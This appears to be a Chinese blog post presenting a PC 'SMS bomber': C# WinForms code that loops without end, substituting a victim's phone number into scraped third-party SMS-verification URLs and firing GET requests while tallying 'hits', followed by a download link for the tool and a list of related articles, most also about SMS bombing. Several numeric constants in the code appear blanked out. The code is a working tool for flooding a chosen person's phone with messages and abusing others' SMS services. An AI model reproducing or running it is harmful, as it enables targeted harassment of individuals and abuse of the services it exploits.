短信轰炸PC版
前言
之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...
昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。
效果图:
正文
短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)
- private delegate void DelegateFun(object obj);
- private Thread thread = null;
- /// <summary>
- /// 发送
- /// </summary>
- /// <param name="sender"></param>
- /// <param name="e"></param>
- private void btnSend_Click(object sender, EventArgs e)
- {
- if (thread != null)
- {
- thread.Abort();
- }
- txtResult.Text = "";
- if (!CheckData())
- {
- return;
- }
- thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
- thread.IsBackground = true;
- thread.Start(txtPhoneID.Text.Trim());
- }
- /// <summary>
- /// 停止
- /// </summary>
- /// <param name="sender"></param>
- /// <param name="e"></param>
- private void btnStop_Click(object sender, EventArgs e)
- {
- if (thread != null)
- {
- thread.Abort();
- }
- }
- /// <summary>
- /// 退出
- /// </summary>
- /// <param name="sender"></param>
- /// <param name="e"></param>
- private void btnExit_Click(object sender, EventArgs e)
- {
- Application.Exit();
- }
- /// <summary>
- /// 线程
- /// </summary>
- /// <param name="phoneID"></param>
- private void CrossThreadFlush(object phoneID)
- {
- while (true)
- {
- //将sleep和无限循环放在等待异步的外面
- Thread.Sleep();
- ThreadFunction(phoneID);
- }
- }
- /// <summary>
- /// 线程
- /// </summary>
- /// <param name="phoneID"></param>
- private void ThreadFunction(object phoneID)
- {
- SendRequest(phoneID);
- }
- private void DelegateSetValue(object resultIndex)
- {
- if (resultIndex == null || resultIndex.ToString() == "")
- {
- return;
- }
- string[] resArray = resultIndex.ToString().Split(',');
- StringBuilder sbResult = new StringBuilder("");
- sbResult.AppendFormat("成功 {0} 次\r\n", resArray[]);
- sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[]);
- sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[]);
- int total = Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]);
- sbResult.AppendFormat("共轰击 {0} 次\r\n", total);
- this.txtResult.Text = sbResult.ToString();
- }
- private void SendRequest(object phoneID)
- {
- string url = GetUrl();
- int successIndex = ;//成功条数
- int nullIndex = ;//不确定条数
- int failIndex = ;//失败条数
- string[] arrStr = url.Split('@');
- foreach (var item in arrStr)
- {
- if (string.IsNullOrEmpty(item))
- {
- continue;
- }
- try
- {
- string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString());
- string result = PostDataToUrl("", urlLast);
- if (!string.IsNullOrEmpty(result))
- {
- if (txtResult.InvokeRequired)
- {
- successIndex++;
- DelegateFun d = new DelegateFun(DelegateSetValue);
- txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
- }
- }
- else
- {
- if (txtResult.InvokeRequired)
- {
- nullIndex++;
- DelegateFun d = new DelegateFun(DelegateSetValue);
- txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
- }
- }
- }
- catch (Exception)
- {
- if (txtResult.InvokeRequired)
- {
- failIndex++;
- DelegateFun d = new DelegateFun(DelegateSetValue);
- txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
- }
- continue;
- }
- }
- }
- /// <summary>
- /// 发送get请求
- /// </summary>
- /// <param name="postDataStr"></param>
- /// <param name="Url"></param>
- /// <returns></returns>
- private string PostDataToUrl(string postDataStr, string Url)
- {
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr);
- request.Method = "GET";
- request.ContentType = "text/html;charset=UTF-8";
- HttpWebResponse response = (HttpWebResponse)request.GetResponse();
- Stream myResponseStream = response.GetResponseStream();
- StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
- string retString = myStreamReader.ReadToEnd();
- myStreamReader.Close();
- myResponseStream.Close();
- return retString;
- }
- /// <summary>
- /// 数据校验
- /// </summary>
- /// <returns></returns>
- private bool CheckData()
- {
- if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
- {
- txtPhoneID.Focus();
- errorProPhone.SetError(txtPhoneID, "输入手机号");
- return false;
- }
- else
- {
- errorProPhone.Clear();
- }
- return true;
- }
- /// <summary>
- /// 获取短信接口
- /// </summary>
- /// <returns></returns>
- private string GetUrl()
- {
- string url = @"短信接口地址(附件中链接贴过来)";
- return url;
- }
应用下载:轰死人补偿命
附 原地址:http://www.zhasini.ml/
短信轰炸PC版的更多相关文章
- 使用python进行短信轰炸
本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...
- 关于前端XSS攻击、短信轰炸等问题
关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用 Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...
- 手把手教你实现"短信轰炸"
手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现 实现前的准备: 1,电脑,谷歌浏览器 2,pyth ...
- 挖穿各大SRC的短信轰炸
今天给大家分享一个短信轰炸绕过的姿势,大疆.百度.腾讯等等src都有用此方法绕过的案例. 给大家看一下 这里就不给大家截图了,在src中提交的截图都没有打码,这里放出来不太方便. 这里就只举出大疆的例 ...
- 腾讯云短信SDK-精简版
/** * 腾讯云短信SDK-精简版 * 本模块使用-向腾讯云短信服务器发送请求 * @return json 腾讯服务器返回值-json字符串 */ private function send_sm ...
- 遇到短信轰炸,别人换ip调你的短信接口怎么办
前端开发者很容易暴露自己的请求地址和参数,我们都知道,一个h5页面,按 F12 是可以看到页面的源码的,所以经常很多人会利用这一点恶意调取别人的接口. 我们公司出现了好多次短信接口被大量调用,导致一天 ...
- 腾讯短信服务精简版(PHP )
短信视乎已经被慢慢淡出平常的交流工具队列,但始终抹不去它的存在,短信验证码视乎从未被取代,此外在重要的信息通知的地位也是不可取的的.所以了解短信的使用是开发中很有必要的一环. 腾讯云的短信服务提供有1 ...
- 阿里云短信服务Java版
短信服务管理平台 https://dysms.console.aliyun.com/dysms.htm java短信发送API https://help.aliyun.com/document_ ...
- 利用阿里大于实现发送短信(JAVA版)
本文是我自己的亲身实践得来,喜欢的朋 友别忘了点个赞哦! 最近整理了一下利用阿里大于短信平台来实现发送短信功能. 闲话不多说,直接开始吧. 首先,要明白利用大于发送短信这件事是由两部分组成: 一.在阿 ...
随机推荐
- ls常用参数
ls常用参数详解 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 玩Linux的老司机们每天都要敲的命令,但是这个鸡蛋的命令还有很多中玩法哟~跟着我一起敲一遍吧!在这里我就列举几个常 ...
- [转]MySQL数据库引擎介绍、区别、创建和性能测试的深入分析
本篇文章是对MySQL数据库引擎介绍.区别.创建和性能测试进行了详细的分析介绍,需要的朋友参考下 数据库引擎介绍 MySQL数据库引擎取决于MySQL在安装的时候是如何被编译的.要添加一个新的引擎 ...
- android命令安装apk时报错:INSTALL_FAILED_CPU_ABI_INCOMPATIBLE
点击下载Genymotion-ARM-Translation.zip 将你的虚拟器运行起来,将下载好的zip包用鼠标拖到虚拟机窗口中,出现确认对跨框点OK就行.然后重启你的虚拟机.
- xla_events
LOOKUP_TYPE LANGUAGE LOOKUP_CODE MEANING DESCRIPTION XLA_EVENT_PROCESS_STATUS US D Draft Draft XLA_E ...
- PAT乙级 1023. 组个最小数 (20)
1023. 组个最小数 (20) 时间限制 100 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 CAO, Peng 给定数字0-9各若干个.你可以以 ...
- linux中模块的相关操作
/lib/modules/[kernel版本]/modules.dep 这个文件记录了模块的依赖关系 modprobe 和 insmod 这两个命令都可以加载模块,但是modeprobe会自动分析模块 ...
- win7 64位系统下 PL/SQL无法连接的问题
第一步:下载oracle客户端 由于 PLSQL Developer 没有64位版本,所以在64位系统上运行该程链接64位Oracle时就会报错,笔者为这个问题纠结了好几天,后来通过请教Google ...
- 学习K&R时初学者经常遇到的一个问题——EOF
学习K&R时初学者经常遇到的一个问题——EOF
- 图像处理工具包ImagXpress中如何定义查看器的属性
想要在图像处理控件ImagXpress中查看一个图像,首先需要创建一个查看器,之后你可以按照你自身的需要,来定义查看器的属性. 创建查看器 想要动态的创建一个查看器,需要先定义一个新的mageXVie ...
- js正则函数match、exec、test、search、replace、split使用介绍集合
match 方法 使用正则表达式模式对字符串执行查找,并将包含查找的结果作为数组返回. stringObj.match(rgExp) 参数 stringObj 必选项.对其进行查找的 String 对 ...